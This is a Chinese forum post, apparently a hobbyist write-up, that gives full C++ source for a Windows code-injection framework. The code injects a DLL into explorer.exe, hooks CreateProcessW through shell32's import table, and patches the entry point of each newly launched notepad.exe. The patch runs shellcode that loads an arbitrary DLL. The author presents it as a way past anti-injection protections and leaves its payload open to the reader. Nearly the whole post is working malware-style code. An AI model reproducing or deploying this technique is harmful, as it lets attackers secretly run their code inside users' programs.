前段时间写的代码,写完后一运行就出错,又因为手头有点事,就放在那了.今天中午没事拿出来和"雪"牛一起看了看,终于能跑起来了.这种被ken戏称称为"吸星大法"的技术,确实没啥新意,只当练手吧.顺便温习下IAT HOOK和PE结构.高手飘过!
大体说下思路:首先利用远程线程注入到系统的explorer.exe进程,注入后利用IAT HOOK,勾住explorer.exe的CreateProcessA,因为应用程序都是这个桌面进程拉起来的.所以后面创建的进程,都会走进我们挂钩后的函数.在我们的函数中做下过滤,根据进程名判断是否是我们感兴趣的进程.如果是,以CREATE_SUSPENDED标志创建进程,此时该进程虽然被创建但已被挂起.这时,我们可以将进程对应的可执行文件映射进内存,根据PE结构知道该进程的EP,然后修改EP处的代码.我这里选择的方式是,从EP开始搜索第一个call xxxx,然后修改xxxx处的地址,直接跳转到我们的代码处(当然必须先将我们的代码写入目标进程中),执行完我们的代码,再JMP到call对应的xxxx处.至于我们的代码中要干什么,想干什么就干什么了,我这里只是向进程load了一个dll.有人可能会问,这样不是闲着蛋疼,没事找事,直接为目标进程创建一个LoadlibraryA的远程线程不就load一个dll了,问题是有些进程自己做了保护,程序运行起来后,就不那么轻易让你注入了.废话不多说,直接上代码吧!
代码1:向系统的explorer.exe进程注入DLL
这段代码没什么好解释的,就是在系统进程快照中查找名叫explorer.exe的进程id,然后通过OpenProcess将进程映射到本进程的句柄表中,再远程分配空间,写内存,创建远程线程.
代码:
void main() { char lpDllName[100] = {0}; GetCurrentDirectory( 100, lpDllName ); strcat( lpDllName, "\\InjectProcessDll.dll" ); cout<<"Dll当前路径:"<<lpDllName<<endl; HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if( hSnapshot == NULL ) { cout<<"Create Snapshot false."<<endl; cin.get(); return; } PROCESSENTRY32 stProcessEntry32 = {0}; stProcessEntry32.dwSize = sizeof(PROCESSENTRY32); Process32First( hSnapshot, &stProcessEntry32 ); bool bFind = false; do { if( strncmp( stProcessEntry32.szExeFile, "explorer.exe", strlen("explorer.exe") ) == 0 ) { bFind = true; break; } }while( Process32Next( hSnapshot, &stProcessEntry32 ) ); CloseHandle( hSnapshot ); if( !bFind ) { cout<<"查找explorer进程失败."<<endl; cin.get(); return; } DWORD dwPId = stProcessEntry32.th32ProcessID; HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, false, dwPId ); if( hProcess == NULL ) { cout<<"打开explorer进程失败."<<endl; cin.get(); return; } LPVOID lpDllNameAddr = VirtualAllocEx( hProcess, NULL, strlen(lpDllName)+1, MEM_COMMIT, PAGE_READWRITE ); if( lpDllNameAddr == NULL ) { cout<<"explorer进程中申请内存失败."<<endl; CloseHandle(hProcess); cin.get(); return; } cout<<"在目标进程:"<<stProcessEntry32.szExeFile<<"中申请的空间地址:"<<hex<<lpDllNameAddr<<endl; DWORD dwRes = 0; bool bRet = WriteProcessMemory( hProcess, lpDllNameAddr, lpDllName, strlen(lpDllName), &dwRes ); if( !bRet ) { cout<<"explorer进程写信息失败."<<endl; VirtualFreeEx( hProcess, lpDllNameAddr, strlen(lpDllName)+1, MEM_DECOMMIT ); CloseHandle(hProcess); cin.get(); return; } HMODULE hModuleKernel32 = GetModuleHandle("kernel32.dll"); LPTHREAD_START_ROUTINE lpLoadLibraryAddr = (LPTHREAD_START_ROUTINE)GetProcAddress( hModuleKernel32, "LoadLibraryA" ); if( lpLoadLibraryAddr != NULL ) { cout<<"获得函数地址:"<<hex<<lpLoadLibraryAddr<<endl; HANDLE hRemote = CreateRemoteThread( hProcess, NULL, 0, lpLoadLibraryAddr, lpDllNameAddr, 0, NULL ); if( hRemote != NULL ) { cout<<"创建远程线程成功,句柄:"<<hex<<hRemote<<endl; WaitForSingleObject( hRemote, INFINITE ); CloseHandle( hRemote ); cout<<"远程线程运行结束"<<endl; cin.get(); } else cout<<"创建远程线程失败."<<endl; } else cout<<"获取LoadLibrary地址失败"<<endl; VirtualFreeEx( hProcess, lpDllNameAddr, strlen(lpDllName)+1, MEM_DECOMMIT ); CloseHandle(hProcess); cin.get(); return; }
该段代码从功能上分两个部分:(1).IAT HOOK CreateProcessA函数,刚开始我也以为直接搜索explorer.exe的IAT,如下图:
但不是想象的那样,用OD在CreateProcessW处下段,居然断在Shell32.dll空间,于是只好IAT HOOK Shell32.dll中IAT结构中的CreateProcessW,将其入口指向我们自己的函数MyCreateProcess.如下图:
详细见代码:
代码:
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch( ul_reason_for_call ) { case DLL_PROCESS_ATTACH: { OutLog("dll attach."); char pModule[50] = {0}; sprintf( pModule, "Module Base:%x", hModule ); OutLog(pModule); MessageBox( NULL, pModule, NULL, MB_OK ); hInstance = (HINSTANCE)hModule; HookCreateProcess(true); break; } case DLL_PROCESS_DETACH: { HookCreateProcess(false); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return TRUE; } void HookCreateProcess( bool bHook) { HMODULE hModule = GetModuleHandle( "SHELL32.DLL" ); if( hModule != NULL ) { PIMAGE_DOS_HEADER pstDosHeader = (PIMAGE_DOS_HEADER)hModule; PIMAGE_NT_HEADERS pstNtHeaders = (PIMAGE_NT_HEADERS)((ULONG)hModule + (ULONG)(pstDosHeader->e_lfanew)); IMAGE_OPTIONAL_HEADER stOptionalHeader = pstNtHeaders->OptionalHeader; IMAGE_DATA_DIRECTORY stImportDataDirectory = stOptionalHeader.DataDirectory[1];//导入表结构 PIMAGE_IMPORT_DESCRIPTOR pstImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)( (ULONG)hModule + (ULONG)(stImportDataDirectory.VirtualAddress) ); PIMAGE_THUNK_DATA pThunkData = NULL; while( pstImportDescriptor->FirstThunk != 0 ) { char *pDllName = (char*)((ULONG)hModule + pstImportDescriptor->Name ); if( 0 == strnicmp( pDllName, "kernel32.dll", strlen("kernel32.dll") ) ) { OutLog("找到导入表中kernel32.dll结构."); pThunkData = (PIMAGE_THUNK_DATA)((ULONG)hModule + pstImportDescriptor->FirstThunk); break; } pstImportDescriptor++; } if( pThunkData != NULL ) { while( pThunkData->u1.Function != 0 ) { ULONG *lpFuncAddr = (PULONG)&(pThunkData->u1.Function); ULONG ulCreateProcess = (ULONG)GetProcAddress( GetModuleHandle("kernel32.dll"), "CreateProcessW" ); char p[50] = {0}; sprintf( p, "%x-%x-MyCreateProcessA:%x-%x",*lpFuncAddr,lpFuncAddr,MyCreateProcess, ulCreateProcess ); OutLog( p ); if( *lpFuncAddr == ulCreateProcess ) { OutLog("找到kernel32.dll结构中CreateProcessW函数地址."); dwOrigCreateProcessAddr = *lpFuncAddr; DWORD dwOldProtect = 0; MEMORY_BASIC_INFORMATION stMemBasicInfo = {0}; VirtualQuery( &lpFuncAddr, &stMemBasicInfo, sizeof(MEMORY_BASIC_INFORMATION) ); VirtualProtect( stMemBasicInfo.BaseAddress, stMemBasicInfo.RegionSize, PAGE_READWRITE, &dwOldProtect ); if( bHook ) { DWORD lpDw = (DWORD)MyCreateProcess; HANDLE h = ::GetCurrentProcess(); bool bOk = ::WriteProcessMemory( h, lpFuncAddr, &lpDw, sizeof(DWORD), NULL ); //*lpFuncAddr = (ULONG)MyCreateProcess; if(bOk == false ) OutLog("改写kernel32.dll结构中CreateProcessW函数地址失败"); } else ::WriteProcessMemory( ::GetCurrentProcess(), lpFuncAddr, &dwOrigCreateProcessAddr, sizeof(DWORD), NULL ); VirtualProtect( stMemBasicInfo.BaseAddress, stMemBasicInfo.RegionSize, dwOldProtect, NULL ); break; } pThunkData++; } } else OutLog("没有找到导入表中kernel32.dll结构."); } else OutLog("获取Shell32.dll失败."); }
代码:
BOOL WINAPI MyCreateProcess( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ) { DWORD dwNum = WideCharToMultiByte( CP_OEMCP, 0, (const unsigned short*)lpApplicationName, -1, NULL, 0, NULL, false ); if( dwNum != 0 ) { char *lpAnsiName = new char[dwNum+1]; dwNum = WideCharToMultiByte( CP_OEMCP, NULL, (const unsigned short*)lpApplicationName, -1, lpAnsiName, dwNum+1, NULL, false ); OutLog( lpAnsiName ); char lpExePath[100] = {0}; strncpy( lpExePath, lpAnsiName, strlen(lpAnsiName) ); char lpExeName[50] = {0}; char *p = strrchr( lpAnsiName, '\\' ); strncpy( lpExeName, p+1, strlen(p+1) ); OutLog( lpExeName ); delete lpAnsiName; //如果是感兴趣的进程被创建,将通过EPO技术挂关键函数,这里只是修改进程的EP入口,对目标进程实现dll注入 if( 0 == strncmp( lpExeName, "notepad.exe", strlen("notepad.exe") ) ) { dwCreationFlags |= CREATE_SUSPENDED; bool bRes = ((LPCREATEPROCESS)dwOrigCreateProcessAddr)( lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation ); //重新映射可执行文件,寻找EP点 HANDLE hFile = CreateFile( lpExePath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if( hFile == NULL ) { OutLog( "打开目标文件失败" ); if( bRes ) ResumeThread( lpProcessInformation->hThread ); return bRes; } HANDLE hMapping = CreateFileMapping( hFile, NULL, PAGE_READONLY, 0, 0, NULL ); CloseHandle( hFile ); if( hMapping == NULL ) { OutLog( "打开目标文件映射失败" ); if( bRes ) ResumeThread( lpProcessInformation->hThread ); return bRes; } LPVOID lpMapFile = MapViewOfFile( hMapping, FILE_MAP_READ, 0, 0, 0 ); if( lpMapFile == NULL ) { OutLog( "映射目标文件失败" ); if( bRes ) ResumeThread( lpProcessInformation->hThread ); CloseHandle( hMapping ); return bRes; } CloseHandle( hMapping ); //已经完成文件映射 PIMAGE_DOS_HEADER lpstDosHeader = (PIMAGE_DOS_HEADER)lpMapFile; PIMAGE_NT_HEADERS lpstNtHeaders = (PIMAGE_NT_HEADERS)( (ULONG)lpMapFile + lpstDosHeader->e_lfanew ); DWORD dwPeEntry = lpstNtHeaders->OptionalHeader.AddressOfEntryPoint+lpstNtHeaders->OptionalHeader.ImageBase; DWORD dwSizeOfImage = lpstNtHeaders->OptionalHeader.SizeOfImage; char lpEntry[50] = {0}; sprintf( lpEntry, "EntryAddr:%x", dwPeEntry ); OutLog( lpEntry ); //加载dll方式:从程序的入口点,寻找第一个call,然后替换这个call地址,从而转到我们的shellcode中,执行完shellcode //再继续走原来的函数流程 //1.查找第一个call地址 BYTE bCode = 0; DWORD dwReadAddr = dwPeEntry; while( bCode != 0xe8 ) { bool bOk = ReadProcessMemory( lpProcessInformation->hProcess, (LPVOID)dwReadAddr, &bCode, 1, NULL ); if( !bOk ) { OutLog( "查找第一个call地址出错" ); if( bRes ) ResumeThread( lpProcessInformation->hThread ); return bRes; } dwReadAddr++; } //计算被替换函数的入口地址 DWORD dwCallAddr = 0; bool bOk = ReadProcessMemory( lpProcessInformation->hProcess, (LPVOID)dwReadAddr, &dwCallAddr, 4, NULL ); if( !bOk ) { OutLog( "查找第一个call地址出错" ); if( bRes ) ResumeThread( lpProcessInformation->hThread ); return bRes; } //计算call的目标函数地址 DWORD dwChangedFuncAddr = dwReadAddr+4+dwCallAddr; char s[50] = {0}; sprintf( s, "CallAddr:%x", dwChangedFuncAddr ); OutLog( s ); //1.编写shellcode //shellcode格式 /* $ ==> > 60 pushad $+1 > 9C pushfd $+2 > 68 11111111 push 11111111 //加载的dll名称 $+7 > E8 444288A5 call 22222222 //LoadLibraryA地址 $+C > 9D popfd $+D > 61 popad $+13 >- E9 495399B6 jmp 33333333 //跳转到第一个call函数开始 */ char lpShellCode[] = { 0x60, 0x9c, 0x68,0x90,0x90,0x90,0x90, 0xe8,0x90,0x90,0x90,0x90, 0x9d, 0x61, 0xe9,0x90,0x90,0x90,0x90}; char lpCurrentDirectory [100] = {0}; GetCurrentDirectory( 100, lpCurrentDirectory ); strncat( lpCurrentDirectory, "\\xx.dll", strlen("\\xx.dll") );//构建你想注入到目标进程的dll完成路径 LPVOID lpDllPathAddr = VirtualAllocEx( lpProcessInformation->hProcess, NULL, strlen(lpCurrentDirectory)+1, MEM_COMMIT, PAGE_READWRITE ); DWORD dwErr = GetLastError(); char lpErr[50] = {0}; if( lpDllPathAddr == NULL ) { sprintf( lpErr, "ErrorCode:%d", dwErr ); OutLog( lpErr ); OutLog( "映射目标进程申请空间失败" ); if( bRes ) ResumeThread( lpProcessInformation->hThread ); return bRes; } char tp[50] = {0}; sprintf( tp, "申请的dll路径空间:%x", lpDllPathAddr ); OutLog( tp ); bOk = WriteProcessMemory( lpProcessInformation->hProcess, lpDllPathAddr, lpCurrentDirectory, strlen(lpCurrentDirectory), NULL); if( !bOk ) { OutLog( "写目标进程空间dll路径失败" ); if( bRes ) ResumeThread( lpProcessInformation->hThread ); VirtualFree( lpDllPathAddr, strlen(lpCurrentDirectory)+1, MEM_DECOMMIT ); return bRes; } OutLog( "写dll路径到目标地址空间成功" ); LPVOID lpFuncAddr = GetProcAddress( GetModuleHandle("kernel32.dll"), "LoadLibraryA" ); memset( tp, 0, 50 ); sprintf( tp, "获取的目标进程中LoadLibraryA地址:%x", lpFuncAddr ); OutLog( tp ); LPVOID lpShellCodeAddr = VirtualAllocEx( lpProcessInformation->hProcess, NULL, strlen(lpShellCode)+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( lpShellCodeAddr == NULL ) { OutLog( "申请目标进程空间shellcode失败" ); if( bRes ) ResumeThread( lpProcessInformation->hThread ); VirtualFree( lpDllPathAddr, strlen(lpCurrentDirectory)+1, MEM_DECOMMIT ); return bRes; } memset( tp, 0, 50 ); sprintf( tp, "获取的目标进程中ShellCode地址:%x", lpShellCodeAddr ); OutLog( tp ); //组合shellcode memcpy( lpShellCode+3, (char*)&lpDllPathAddr, 4 ); DWORD dwFuncAddr = (DWORD)lpFuncAddr - ((DWORD)lpShellCodeAddr+7)-5; memcpy( lpShellCode+8, (char*)&dwFuncAddr, 4 ); DWORD dwJmpEnd = dwChangedFuncAddr - ((DWORD)lpShellCodeAddr+14) -5; memcpy( lpShellCode+15, (char*)&dwJmpEnd, 4 ); //3.写入shellcode,及改变原来函数入口 bOk = WriteProcessMemory( lpProcessInformation->hProcess, lpShellCodeAddr, lpShellCode, 30, NULL ); if( !bOk ) { OutLog( "写目标进程shellcode失败" ); if( bRes ) ResumeThread( lpProcessInformation->hThread ); VirtualFreeEx( lpProcessInformation->hProcess, lpDllPathAddr, strlen(lpCurrentDirectory)+1, MEM_DECOMMIT ); VirtualFreeEx( lpProcessInformation->hProcess, lpShellCodeAddr, strlen(lpShellCode)+1, MEM_DECOMMIT ); return bRes; } //计算call的新地址 DWORD dwNewCallAddr = (DWORD)lpShellCodeAddr - (dwReadAddr+4); //写入写call地址 MEMORY_BASIC_INFORMATION stMemBasicInfor = {0}; VirtualQueryEx( lpProcessInformation->hProcess, (PVOID)dwReadAddr, &stMemBasicInfor, sizeof(MEMORY_BASIC_INFORMATION) ); DWORD dwOldProtect = 0; VirtualProtectEx( lpProcessInformation->hProcess, stMemBasicInfor.BaseAddress, stMemBasicInfor.RegionSize, PAGE_EXECUTE_READWRITE, &dwOldProtect ); bOk = WriteProcessMemory( lpProcessInformation->hProcess, (PVOID)dwReadAddr, &dwNewCallAddr, 4, NULL ); dwErr = GetLastError(); VirtualProtectEx( lpProcessInformation->hProcess, stMemBasicInfor.BaseAddress, stMemBasicInfor.RegionSize, dwOldProtect, NULL ); if( !bOk ) { OutLog( "写目标进程第一个call地址失败" ); memset( lpErr, 0, 10 ); sprintf( lpErr, "ErrorCode:%d", dwErr ); OutLog( lpErr ); if( bRes ) ResumeThread( lpProcessInformation->hThread ); VirtualFreeEx( lpProcessInformation->hProcess, lpDllPathAddr, strlen(lpCurrentDirectory)+1, MEM_DECOMMIT ); VirtualFreeEx( lpProcessInformation->hProcess, lpShellCodeAddr, strlen(lpShellCode)+1, MEM_DECOMMIT ); return bRes; } //至此目标进程的入口已经改造完毕, ResumeThread( lpProcessInformation->hThread ); OutLog( "成功" ); return bRes; } else { return ((LPCREATEPROCESS)dwOrigCreateProcessAddr)( lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation ); } } else { return ((LPCREATEPROCESS)dwOrigCreateProcessAddr)( lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation ); } } void OutLog( char *pStr ) { //判断日志文件是否存在 bool bFileExist = false; FILE *fp = NULL; fp = fopen( "log.txt", "r" ); if( fp != NULL ) { bFileExist = true; fclose(fp); fp = NULL; } //文件存在,写日志 if( bFileExist ) { ofstream out("log.txt", ios::app ); if( out != NULL ) { out<<pStr<<endl; } out.close(); } }
EPO记事本后的入口代码:
1。挂钩前,记事本的入口代码:
上面代码已经测试并能实现注入.这个框架能干什么?就各显神通了.希望多认识些有共同爱好的朋友.